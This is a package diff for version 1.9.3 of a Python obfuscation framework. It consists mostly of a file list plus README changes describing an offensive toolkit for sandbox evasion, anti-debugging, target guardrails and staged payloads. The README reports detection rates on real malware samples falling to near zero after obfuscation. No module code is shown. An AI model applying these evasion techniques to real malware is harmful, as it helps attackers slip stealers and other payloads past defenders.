python-obfuscation-framework 1.9.1__tar.gz → 1.9.3__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {python_obfuscation_framework-1.9.1/python_obfuscation_framework.egg-info → python_obfuscation_framework-1.9.3}/PKG-INFO +191 -55
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/README.md +189 -53
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/__init__.py +2 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/cipher/deep_encryption.py +77 -45
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/cipher/shift.py +2 -3
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/constants.py +2 -0
- python_obfuscation_framework-1.9.3/pof/obfuscator/controlflow/__init__.py +19 -0
- python_obfuscation_framework-1.9.3/pof/obfuscator/controlflow/control_flow_flatten.py +208 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/esoteric/doc.py +2 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/extract_variables.py +31 -67
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/newline.py +3 -4
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/print.py +18 -2
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/strings.py +2 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/tokens.py +58 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pyproject.toml +2 -2
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3/python_obfuscation_framework.egg-info}/PKG-INFO +191 -55
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/python_obfuscation_framework.egg-info/SOURCES.txt +10 -22
- python_obfuscation_framework-1.9.3/tests/obfuscator/conftest.py +365 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/fixtures/__init__.py +0 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/fixtures/complex.py +100 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/fixtures/moderate.py +80 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/fixtures/multiline_strings.py +30 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/fixtures/simple.py +29 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/test_edge_cases.py +148 -0
- python_obfuscation_framework-1.9.3/tests/obfuscator/test_integration.py +93 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/pyproject.toml +1 -1
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_a85.py +0 -41
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_b16.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_b32.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_b32hex.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_b64.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_b85.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_binascii.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_boolean.py +0 -35
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_call.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_comments.py +0 -58
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_doc.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_docstrings.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_exceptions.py +0 -64
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_ipv6encoding.py +0 -41
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_names/code/out.py +0 -33
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_names/code/source.py +0 -43
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_names/test_names.py +0 -46
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_number.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_print.py +0 -50
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_snt.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_tokens.py +0 -40
- python_obfuscation_framework-1.9.1/tests/obfuscator/test_xor.py +0 -44
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/LICENSE +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/MANIFEST.in +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/__main__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/cli.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/cli_v2.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/errors.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/argv.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/base.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/cpu/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/cpu/cpu_count.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/directory_exist.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/directory_list_exist.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/directory_list_missing.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/directory_missing.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/exec_method.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/executable_path.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/file_exist.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/file_list_exist.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/file_list_missing.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/file_missing.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/fs/tmp.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/hardware/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/hardware/ram_count.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/hooks/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/hooks/debugger.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/hooks/tracemalloc.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/human/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/human/p.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/human/prompt.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/integrity.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/multi.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/os/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/os/domain.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/os/hostname.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/os/uid.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/os/username.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/processes/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/processes/proc_count.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/time/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/time/expire.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/time/uptime.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/time/utc.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/evasion/utils.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/logger.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/main.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/boolean.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/builtins.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/cipher/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/cipher/rc4.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/cipher/xor.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/compression/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/compression/bz2.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/compression/gzip.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/compression/lzma.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/compression/zlib.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/definitions.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/a85.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/b16.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/b32.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/b32hex.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/b64.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/b85.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/binascii.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/snt.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/encoding/whitespace.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/esoteric/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/esoteric/call.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/esoteric/globals.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/esoteric/imports.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/junk/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/junk/add_comments.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/junk/add_newlines.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/names.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/names_rope.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/numbers.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/other/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/other/tokens.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/comments.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/exceptions.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/indents.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/loggings.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/remove/loggings_old.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/restructure.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/stegano/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/stegano/docstrings.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/stegano/ipv6encoding.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/stegano/macencoding.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/stegano/uuidencoding.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/obfuscator/variables.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/cipher/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/cipher/rc4.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/download.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/image.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/lots/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/lots/cl1pnet.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/lots/pastebin.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/lots/pasters.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/stager/quine.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/cipher/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/cipher/rc4.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/cipher/shift.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/compression/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/compression/bz2.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/compression/gzip.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/compression/lzma.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/compression/zlib.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/a85.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/b16.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/b3.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/b32.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/b32hex.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/b64.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/b85.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/binascii.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/snt.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/encoding/whitespace.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/entropy.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/extract_names.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/format.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/advanced.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/base.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/basic.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/comments.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/comments.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/names.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/generator/unicode.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/se/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/se/homoglyphs.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/se/homoglyphs.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/stegano/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/stegano/ipv6encoding.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/stegano/macencoding.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/pof/utils/stegano/uuidencoding.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/python_obfuscation_framework.egg-info/dependency_links.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/python_obfuscation_framework.egg-info/entry_points.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/python_obfuscation_framework.egg-info/requires.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/python_obfuscation_framework.egg-info/top_level.txt +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/setup.cfg +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/obfuscator/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/obfuscator/utils.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/utils/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/utils/se/__init__.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/utils/se/test_homoglyphs.py +0 -0
- {python_obfuscation_framework-1.9.1 → python_obfuscation_framework-1.9.3}/tests/utils/test_generator.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: python-obfuscation-framework
|
|
3
|
-
Version: 1.9.
|
|
3
|
+
Version: 1.9.3
|
|
4
4
|
Summary: Python Obfuscation Framework
|
|
5
5
|
Author-email: deoktr <35725720+deoktr@users.noreply.github.com>
|
|
6
6
|
Maintainer-email: deoktr <35725720+deoktr@users.noreply.github.com>
|
|
@@ -24,7 +24,7 @@ Classifier: Programming Language :: Python :: 3.12
|
|
|
24
24
|
Classifier: Programming Language :: Python :: 3.13
|
|
25
25
|
Classifier: Programming Language :: Python :: 3.14
|
|
26
26
|
Classifier: Topic :: Security
|
|
27
|
-
Requires-Python: >=3.
|
|
27
|
+
Requires-Python: >=3.10
|
|
28
28
|
Description-Content-Type: text/markdown
|
|
29
29
|
License-File: LICENSE
|
|
30
30
|
Requires-Dist: rope>=1.0.0
|
|
@@ -49,20 +49,28 @@ Dynamic: license-file
|
|
|
49
49
|
|
|
50
50
|
Test it at [pof.run](https://pof.run).
|
|
51
51
|
|
|
52
|
-
Python Obfuscation Framework (pof), a complete Python offensive security toolkit
|
|
52
|
+
Python Obfuscation Framework (pof), a complete Python offensive security toolkit
|
|
53
|
+
to generate staged obfuscated payloads.
|
|
53
54
|
|
|
54
55
|
pof will allow you to:
|
|
55
56
|
|
|
56
57
|
- **Slow down static analysis** with layered obfuscation and novel techniques.
|
|
57
|
-
- **Evade sandbox** by checking host information like MAC addresses, CPU count,
|
|
58
|
-
|
|
58
|
+
- **Evade sandbox** by checking host information like MAC addresses, CPU count,
|
|
59
|
+
memory count, uptime, and much more.
|
|
60
|
+
- **Add guardrails** to ensure the payload only execute on the desired target
|
|
61
|
+
host by verifying for username, hostname, domainame and much more.
|
|
59
62
|
- **Prevent dynamic analysis** by detecting debugging or tracing via malloc.
|
|
60
|
-
- **Create staged payloads**, store stages inside images, on trusted sites,
|
|
63
|
+
- **Create staged payloads**, store stages inside images, on trusted sites,
|
|
64
|
+
encrypt, compress, or encode them, and much more.
|
|
61
65
|
- **Enable automation** to produce numerous variant of the same payload.
|
|
62
66
|
|
|
63
|
-
The main benefit of POF is customizability, you can generate your payload
|
|
67
|
+
The main benefit of POF is customizability, you can generate your payload
|
|
68
|
+
however you want, choose the obfuscation you want and combine them.
|
|
64
69
|
|
|
65
|
-
Most obfuscation work very well when combined. For example obfuscating an int
|
|
70
|
+
Most obfuscation work very well when combined. For example obfuscating an int
|
|
71
|
+
from `42` to `int("42")` allows the string obfuscator to obfuscate it, turning
|
|
72
|
+
it into `int("".join([chr(ord(i)-3)for i in'75']))`. And we now have multiple
|
|
73
|
+
int and strings that we can once again obfuscate.
|
|
66
74
|
|
|
67
75
|
Example obfuscation:
|
|
68
76
|
|
|
@@ -178,17 +186,16 @@ More examples and usage can be found in `examples/` or in the section bellow.
|
|
|
178
186
|
## Effectiveness
|
|
179
187
|
|
|
180
188
|
The tests are done using the default configuration of pof, no sandbox evasion
|
|
181
|
-
technique was used with obfuscation. Also note that I haven't tested the
|
|
182
|
-
|
|
183
|
-
obfuscation.
|
|
189
|
+
technique was used with obfuscation. Also note that I haven't tested the malware
|
|
190
|
+
to see if they still work, they should, but they may break with obfuscation.
|
|
184
191
|
|
|
185
|
-
Obfuscating a
|
|
192
|
+
Obfuscating a
|
|
193
|
+
[Lazarus malware](https://bazaar.abuse.ch/sample/c3cb53c4a290bc9ab6c9eb825ed0ca38bb54bcc4a59f33be72becdff80cb091b/),
|
|
186
194
|
we go from
|
|
187
195
|
[18/63](https://www.virustotal.com/gui/file/c3cb53c4a290bc9ab6c9eb825ed0ca38bb54bcc4a59f33be72becdff80cb091b)
|
|
188
196
|
to
|
|
189
197
|
[0/63](https://www.virustotal.com/gui/file/2f427bc784e2a865d8f000c21f366cb8459842f97c56465cbe963f221b3e115a)
|
|
190
|
-
on virus total:
|
|
191
|
-

|
|
198
|
+
on virus total: 
|
|
192
199
|
|
|
193
200
|
Obfuscating
|
|
194
201
|
[RedTigerStealer](https://bazaar.abuse.ch/sample/9b4c37e3e994ad0222740e4c51dae48cc415957f8ad066da25e977e5031fa374/)
|
|
@@ -196,16 +203,14 @@ we go from
|
|
|
196
203
|
[26/63](https://www.virustotal.com/gui/file/9b4c37e3e994ad0222740e4c51dae48cc415957f8ad066da25e977e5031fa374)
|
|
197
204
|
to
|
|
198
205
|
[1/62](https://www.virustotal.com/gui/file/5616cb69576b11fa4a024023bcf0f66e66b84f426067e597075dfcbba945d5e3)
|
|
199
|
-
on virus total:
|
|
200
|
-

|
|
206
|
+
on virus total: 
|
|
201
207
|
|
|
202
208
|
Obfuscating [BTC-Clipper](https://github.com/NightfallGT/BTC-Clipper), we go
|
|
203
209
|
from
|
|
204
210
|
[13/64](https://www.virustotal.com/gui/file/9817d8de9bf7d2740b5b66e30ec1afdd98d7d119074a61cbba05514d4ebdc149)
|
|
205
211
|
to
|
|
206
212
|
[0/63](https://www.virustotal.com/gui/file/71631daa26fe6c2cf77d282a16f8b3fd31e4794b63709b956599563b95e64816)
|
|
207
|
-
on virus total:
|
|
208
|
-

|
|
213
|
+
on virus total: 
|
|
209
214
|
|
|
210
215
|
Obfuscating a
|
|
211
216
|
[Braodo malware](https://bazaar.abuse.ch/sample/b86e4bff935db9345cc1467e615ff4fbe292fae618ae927595d328cfd9e8a08f/),
|
|
@@ -213,20 +218,20 @@ we go from
|
|
|
213
218
|
[10/61](https://www.virustotal.com/gui/file/b86e4bff935db9345cc1467e615ff4fbe292fae618ae927595d328cfd9e8a08f)
|
|
214
219
|
to
|
|
215
220
|
[0/63](https://www.virustotal.com/gui/file/8791188aaf7655093307e46fa68e3705ee7249cb81e05ea416ae96ad2fd2f0f2)
|
|
216
|
-
on virus total:
|
|
217
|
-

|
|
221
|
+
on virus total: 
|
|
218
222
|
|
|
219
|
-
Obfuscating
|
|
223
|
+
Obfuscating
|
|
224
|
+
[Python-File-Stealer](https://github.com/KrizzhSriskantharajah-UK/Python-File-Stealer),
|
|
220
225
|
we go from
|
|
221
226
|
[4/63](https://www.virustotal.com/gui/file/2fc798f1df42adae3af2f7d2623edc74f6b8f08a7ae16ef3b67305c4ad668c82)
|
|
222
227
|
to
|
|
223
228
|
[0/63](https://www.virustotal.com/gui/file/8d529e6ee2806986ca376a427d683fdf6980d6332134e4759d790d604d6b5dcb)
|
|
224
|
-
on virus total:
|
|
225
|
-

|
|
229
|
+
on virus total: 
|
|
226
230
|
|
|
227
231
|
## Install
|
|
228
232
|
|
|
229
|
-
You can install POF with pip install, inside a container or try it online at
|
|
233
|
+
You can install POF with pip install, inside a container or try it online at
|
|
234
|
+
[pof.run](https://pof.run):
|
|
230
235
|
|
|
231
236
|
```bash
|
|
232
237
|
echo 'print("Hello, world!")' | curl -X POST -d @- https://pof.run
|
|
@@ -243,19 +248,19 @@ pip install python-obfuscation-framework
|
|
|
243
248
|
### Docker
|
|
244
249
|
|
|
245
250
|
```bash
|
|
246
|
-
docker run --rm ghcr.io/deoktr/
|
|
251
|
+
